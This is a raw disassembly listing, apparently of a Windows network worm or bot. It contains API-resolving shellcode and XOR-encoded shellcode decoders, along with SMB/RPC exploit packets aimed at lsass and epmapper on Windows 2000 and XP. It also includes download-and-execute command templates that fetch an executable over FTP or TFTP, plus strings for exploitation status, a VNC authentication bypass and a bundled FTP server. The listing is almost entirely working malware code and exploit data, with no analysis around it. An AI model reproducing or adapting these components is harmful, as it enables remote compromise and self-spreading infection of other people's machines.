		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_432312:				; CODE XREF: sub_4322C2:loc_4322D8j
					; sub_4322C2:loc_432312j
		jmp	short loc_432312
sub_4322C2	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_432318	proc near		; DATA XREF: ___:0040D5CDo

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_43236A
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_432335:				; CODE XREF: sub_432318+38j
		jecxz	short loc_432365
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_432340:				; CODE XREF: sub_432318+32j
		lodsb
		test	al, al
		jz	short loc_43234C
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_432340
; ---------------------------------------------------------------------------


loc_43234C:				; CODE XREF: sub_432318+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_432335
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_432365:				; CODE XREF: sub_432318:loc_432335j
		mov	[esp+arg_0], ebx
		retn
sub_432318	endp


; =============== S U B	R O U T	I N E =======================================



sub_43236A	proc near		; CODE XREF: sub_432318+7p

; FUNCTION CHUNK AT 004323A2 SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_432383
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_43238E
; ---------------------------------------------------------------------------


loc_432383:				; CODE XREF: sub_43236A+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_43238E:				; CODE XREF: sub_43236A+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_4323A2
sub_43236A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432395	proc near		; CODE XREF: sub_43236A:loc_4323A2p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_432395	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43236A


loc_4323A2:				; CODE XREF: sub_43236A+29j
		call	sub_432395


loc_4323A7:				; DATA XREF: sub_40CD9E+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_43236A
; ---------------------------------------------------------------------------
		dw 0
dword_4323AC	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CD9E+2F5o
dword_4323B8	dd 30h			; DATA XREF: sub_40CD9E+2CAo
dword_4323BC	dd 0A1h			; DATA XREF: sub_40CD9E+29Fo
dword_4323C0	dd 3			; DATA XREF: sub_40CD9E+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40CD9E+153o
		align 4


loc_4323CC:				; DATA XREF: sub_40CD9E+E8o
		jmp	short near ptr dword_4323D4
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_4323D4	dd 0			; CODE XREF: ___:loc_4323CCj
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: ___:0040D5F4o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 4
dword_43243C	dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA	XREF: ___:0040E02Do
					; ___:0040E167o
		dd 1, 10001h, 1A0h, 0
		dd 0C0h, 46000000h, 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_432488	dd 3000005h, 10h, 3E8h,	0E5h, 3D0h, 40001h, 60005h, 1
					; DATA XREF: sub_40DCF9+123o
		dd 0
		dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
		dd 1, 0
		dd 0D5E70h, 2, 0D5E7Ch,	0
		dd 10h,	0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
		dd 4252414Dh, 1, 0
		dd 0BAADF00Dh, 0
		dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
		dd 0C0h, 46000000h, 338h, 0
		dd 0C0h, 46000000h, 0
		dd 330h, 328h, 0
		dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh,	328h, 0D8h, 0
		dd 2, 7, 4 dup(0)
		dd 0CD28C4h, 0CD2964h, 0
		dd 7, 1B9h, 0
		dd 0C0h, 46000000h, 1ABh, 0
		dd 0C0h, 46000000h, 1A5h, 0
		dd 0C0h, 46000000h, 1A6h, 0
		dd 0C0h, 46000000h, 1A4h, 0
		dd 0C0h, 46000000h, 1ADh, 0
		dd 0C0h, 46000000h, 1AAh, 0
		dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h,	78h, 30h
		dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
		dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
		dd 0C0h, 46000000h, 10h, 2 dup(0)
		dd 1, 0
		dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
		dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
		dd 4 dup(0)
		dd 144318h, 0
		dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
		dd 0C0h, 46000000h, 33Bh, 0
		dd 0C0h, 46000000h, 0
		dd 30h,	10001h,	317C581h, 4AE90E80h, 8AF19999h,	857A6F50h
		dd 2, 5	dup(0)
		dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h,	0
		dd 0DDAD8h, 2 dup(0)
		dd 0C2F20h, 2 dup(0)
		dd 3, 0
		dd 3, 580046h, 0
		dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
		dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh,	0B8B68h, 2, 3 dup(0)
dword_4327EC	dd 20h,	0		; DATA XREF: sub_40DCF9+136o
		dd 20h,	5C005Ch, 0
off_432800	dd offset aEmant	; DATA XREF: sub_40DCF9+15Do
					; "emant"
		dd offset dword_5C0024
a12345611111111:
		unicode	0, <123456111111111111111.doc>,0
		align 10h
dword_432840	dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40DCF9+174o
		dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
off_432874	dd offset word_580046	; DATA XREF: sub_40DCF9+45o
		dd offset loc_42004C+2
		dd offset word_580046
		dd offset word_580046
		dd offset loc_42004C+2
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd offset word_580046
		dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr	db ''
		db ''
		db '',0
dword_432950	dd 10016C6h		; DATA XREF: sub_40DCF9+104o
dword_432954	dd 100139Dh		; DATA XREF: sub_40DCF9+FBo
off_432958	dd offset dword_5C005C	; DATA XREF: sub_40DB5E+1Co
					; sub_40DC41+16o
		align 10h
off_432960	dd offset dword_49005C	; DATA XREF: sub_40DB5E+Co
					; sub_40DC41+Bo
		dd offset aLandes	; "Landes"
		dd 24h
aSExploitingIpS	db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: ___:0040E235o
					; ___:0040E99Eo ...
		align 4
aTftpFileTransf	db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: ___:0040E1E8o
		align 4
aSPipeEpmapper	db '\\%s\pipe\epmapper',0 ; DATA XREF: ___:0040DF8Do
		align 4
		jmp	short loc_4329DA

; =============== S U B	R O U T	I N E =======================================



sub_4329CA	proc far		; CODE XREF: sub_4329CA:loc_4329DAp
		pop	ebx
		dec	ebx
		xor	ecx, ecx
		mov	cx, 125h


loc_4329D2:				; CODE XREF: sub_4329CA+Cj
		xor	byte ptr [ebx+ecx], 99h
		loop	loc_4329D2
		jmp	short loc_4329DF
; ---------------------------------------------------------------------------


loc_4329DA:				; CODE XREF: ___:004329C8j
		call	near ptr sub_4329CA


loc_4329DF:				; CODE XREF: sub_4329CA+Ej
		jo	short loc_432A43
		cdq
		cdq
		cdq
		mov	ch, 38h
		test	eax, 12999999h
		fst	dword ptr [ebp+3485E912h]
		adc	dh, cl
		xchg	eax, ecx
		adc	ch, [esi-0Dh]
		popf
		sal	byte ptr [ecx+2], 99h
		cdq
		cdq
		jnp	short loc_432A61
		icebp
		stosb
		stosd
		cdq
		cdq
		icebp
		out	dx, al
		jmp	far ptr	128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
		db 71h
		dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
		dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
		dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
		adc	dl, [ebp-0Dh]


loc_432A43:				; CODE XREF: sub_4329CA:loc_4329DFj
		mov	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
		dd 7B32C08Ch
		db 64h
; ---------------------------------------------------------------------------


loc_432A61:				; CODE XREF: sub_4329CA+35j
		pop	edi
		fnstsw	word ptr [ebp-22982277h]
		mov	ebp, 0BDC510A4h
		rcl	dword ptr [eax], 1
		lds	edi, [ebp-423AEF2Bh]
		leave
		adc	al, 0DDh
		mov	ebp, 0C8C9CD89h
		enter	0FFFFF3C8h, 98h
		enter	66C8h, 0EFh
		test	eax, 9DCF66C8h
		adc	dl, [ebp-0Dh]
		db	66h, 66h
		test	al, 66h
		iret
sub_4329CA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, ecx
		retf	0CF66h
; ---------------------------------------------------------------------------
		dw 6685h
		dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
		dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh,	439A9452h
		dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
		dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
		dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
		dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------


loc_432B08:				; DATA XREF: sub_40E3F1+156o
					; sub_40E3F1+212o
		jmp	short loc_432B1A

; =============== S U B	R O U T	I N E =======================================



sub_432B0A	proc near		; CODE XREF: sub_432B0A:loc_432B1Ap
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 17Dh


loc_432B12:				; CODE XREF: sub_432B0A+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_432B12
		jmp	short loc_432B1F
; ---------------------------------------------------------------------------


loc_432B1A:				; CODE XREF: ___:loc_432B08j
		call	sub_432B0A


loc_432B1F:				; CODE XREF: sub_432B0A+Ej
		jo	short near ptr dword_432A98+1Eh
		cwde
		cdq
		cdq
		retn
sub_432B0A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0FDh, 38h, 0A9h
		dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
		dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh,	9AA612C8h
		dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
		dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
		dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
		dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh,	0F34112C3h
		dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
		dd 999B9E5Eh
dword_432BB8	dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh,	6DCE66CAh
					; DATA XREF: sub_40E3F1+105o
		dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh,	9D10C089h
		dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
		dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
		dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h,	5A59AA77h
		dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
		dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
		dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
		dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
		dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
		dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_432CA0	dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
					; DATA XREF: ___:0040E8A6o
		dd 0FEFF0000h, 0
		dd 2006200h
aPcNetworkPro_0	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWor_0	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_432D2C	dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:0040E8D2o
		dd 0FEFF0000h, 100000h,	0A400FF0Ch, 0A110400h, 0
		dd 20000000h, 0
		dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
		dd 4 dup(0)
aWindows2000219:
		unicode	0, <Windows 2000 2195>,0
aWindows20005_0:
		unicode	0, <Windows 2000 5.0>,0
		align 8
dword_432DD8	dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
					; DATA XREF: ___:0040E8F9o
		dd 0FEFF0000h, 200800h,	0DA00FF0Ch, 0A110400h, 0
		dd 57000000h, 0
		dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
		dd 0
		dd 47000000h, 0
		dd 40000000h, 0
		dd 40000000h, 6000000h,	40000600h, 10000000h, 47001000h
		dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
		dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
		dd 320020h, 300030h, 200030h, 310032h, 350039h,	570000h
		dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h,	200030h
		dd 2E0035h, 30h, 0
dword_432EB8	dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+58o
		dd 0FEFF0000h, 300800h,	5C00FF04h, 1000800h, 3100h, 5C005Ch
		dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h,	310032h
		dd 5C0030h, 500049h
aC_0:					; DATA XREF: sub_40E3F1+8Ao
		unicode	0, <C$>,0
a?????		db '?????',0
		dd 0
dword_432F1C	dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+2AAo
		dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h,	0
		dd 2019Fh, 3 dup(0)
		dd 3, 1, 40h, 2, 1103h,	6C005Ch, 610073h, 700072h, 63h
		dd 0
dword_432F88	dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+2D1o
		dd 4DC0800h, 500800h, 48000010h, 0
		dd 4, 2	dup(0)
		dd 48005400h, 2005400h,	2600h, 10005940h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
		dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh,	0F52ED94Fh
		dd 0
		dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_43302C	dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+3B0o
		dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
		dd 0A0005400h, 200540Ch, 2600h,	100CB140h, 50005Ch, 500049h
		dd 5C0045h, 0
		dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
		dd 3ECh, 0
off_4330AC	dd offset loc_401495	; DATA XREF: sub_40E3F1+3DEo
		dd 3, 40707Ch, 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd offset loc_40707B+1
		dd 1, 0
		dd 1, 0
		dd 138578h, 0E9A65BABh,	0
dword_433140	dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+306o
		dd 0FEFF0800h, 600800h,	0DE00FF0Eh, 4000DEh, 0FF000000h
		dd 8FFFFFFh, 10B800h, 4010B800h, 0
		dd 0EE10B900h, 1000005h, 10h, 10B8h, 1,	200Ch, 90000h
		dd 0DADh, 0
		dd 0DADh, 0
dword_4331AC	dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
					; DATA XREF: sub_40E3F1+331o
		dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
		dd 84005400h, 200540Fh,	2600h, 0F9540h,	50005Ch, 500049h
		dd 5C0045h, 0
		dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_433220	dd 0			; DATA XREF: sub_40E3F1+35Fo
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 0
		dd offset loc_40A897+3
		dd 1, 0
		dd 1, 2	dup(0)
word_4332A8	dw 0AD9Dh		; DATA XREF: sub_40E292+30r
					; sub_40E3F1+E7r
		align 4
		dd 2 dup(0)
aWinxpProfessio	db 'WinXP Professional    [universal] lsass.exe ',0
		align 8
dword_4332E8	dd 1004600h		; DATA XREF: sub_40E3F1+140r
					; sub_40E3F1+245r
		dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
		dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
		dd 6C6C642Eh, 2	dup(0)
		dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
		dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
		dd 70617274h, 6C6C642Eh, 2 dup(0)
		dd 751C123Ch, 0Fh dup(0)
aEchoOpenSDOEch	db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
					; DATA XREF: sub_40E292+BCo
		db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0
		align 4
aTftpISGetS	db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_40E292+97o
; ---------------------------------------------------------------------------


loc_433420:				; DATA XREF: sub_40E3F1+177o
		jmp	short loc_433428
; ---------------------------------------------------------------------------
		jmp	short loc_43342A
; ---------------------------------------------------------------------------
		align 8


loc_433428:				; CODE XREF: ___:loc_433420j
					; DATA XREF: sub_40E3F1+27o
		pop	esp
		pop	esp


loc_43342A:				; CODE XREF: ___:00433422j
		and	eax, 70695C73h
		arpl	[eax+eax], sp
; ---------------------------------------------------------------------------
		dw 0
dword_433434	dd 1CEC8166h		; DATA XREF: sub_40E3F1+Dr
dword_433438	dd 0E4FF07h		; DATA XREF: sub_40E3F1+16r
dword_43343C	dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40EAE9+5Ao
		dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
		dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
		dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh	dup(64646464h)
		dd 1016464h, 40h dup(65656565h), 66010165h, 40h	dup(66666666h)
		dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
		dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
		dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
		dd 6C6C6C01h, 8	dup(6C6C6C6Ch),	41416C6Ch, 100D06EBh, 6D6D501Eh
		dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
		dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
		dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
		dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h,	0AF5B8DF3h
		dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
		dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
		dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
		dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h,	85773449h
		dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh,	0D43C8A9Bh
		dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh,	78281EB8h
		dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
		dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
		dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
		dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h,	2C47A345h
		dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
		dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
		dd 4838E43h, 5180BD0Ch,	0EFAF269Ah, 0D87B5338h,	78A9269Bh
		dd 877FD918h
aMmmmmmmmmmmmmm	db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
		db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
		align 10h
aCmdCEchoOpen_0	db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
					; DATA XREF: sub_40E9FB+92o
		db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
aVncD_DSSAuthby	db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040EE25o
		align 4
aRfb03d_03d	db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040ECB2o
		align 4
word_4346F4	dw 1			; DATA XREF: ___:0040EC29r
					; sub_41B55B+24r ...
		align 4
dword_4346F8	dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
					; DATA XREF: sub_41A1B1+21o
		dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
		dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
		dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
		dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
		dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
		dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
		dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
		dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
		dd 0
		dd 382C3003h, 5E5E207Ch, 534F4241h, 5E374C41h, 37C205Eh
		dd 7C312C30h, 77305020h, 75467233h, 20796C6Ch, 2C31037Ch
		dd 7C203231h, 6E573020h, 3E204433h, 732520h, 20363232h
		dd 6E617254h, 72656673h, 6D6F6320h, 74656C70h, 0A2E65h
		dd 20303531h, 6E65704Fh, 20676E69h, 414E4942h, 6D205952h
		dd 2065646Fh, 61746164h, 6E6F6320h, 7463656Eh, 0A6E6F69h
		dd 0
aRetr		db 'RETR',0
		align 4
a200PortCommand	db '200 PORT command successful.',0Ah,0
		align 4
aS_S_S_S	db '%s.%s.%s.%s',0
aXX		db '%x%x',0Ah,0
		align 4
aS_2		db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
		db ']',0
aPort		db 'PORT',0
		align 4
a226TransferCom	db '226 Transfer complete',0Ah,0
		align 10h
aList_0		db 'LIST',0
		align 4
a425PassiveNotS	db '425 Passive not supported on this server',0Ah,0
		align 4
aPasv		db 'PASV',0
		align 4
a200TypeSetToI_	db '200 Type set to I.',0Ah,0
aI_0:					; DATA XREF: ___:00438838o
		unicode	0, <I>,0
a200TypeSetToA_	db '200 Type set to A.',0Ah,0
aA_0:					; DATA XREF: ___:00438844o
		unicode	0, <A>,0
aType		db 'TYPE',0
		align 4
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0
		align 4
		dd offset dword_445750
a350Restarting_	db '350 Restarting.',0Ah,0
		align 4
aRest		db 'REST',0
		align 4
a215Stnyftpd	db '215 StnyFtpd',0Ah,0
		align 4
aSyst		db 'SYST',0
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0
		align 4
aPass_0		db 'PASS',0
		align 4
a331PasswordReq	db '331 Password required',0Ah,0
		align 4
aUser_2		db 'USER',0
		align 4
aSS_2		db '%s %s',0
		align 4
a220Stnyftpd0wn	db '220 StnyFtpd 0wns j0',0Ah,0
		align 4
unk_4349DC	db  2Dh	; -		; DATA XREF: sub_40FAD6+3F8o
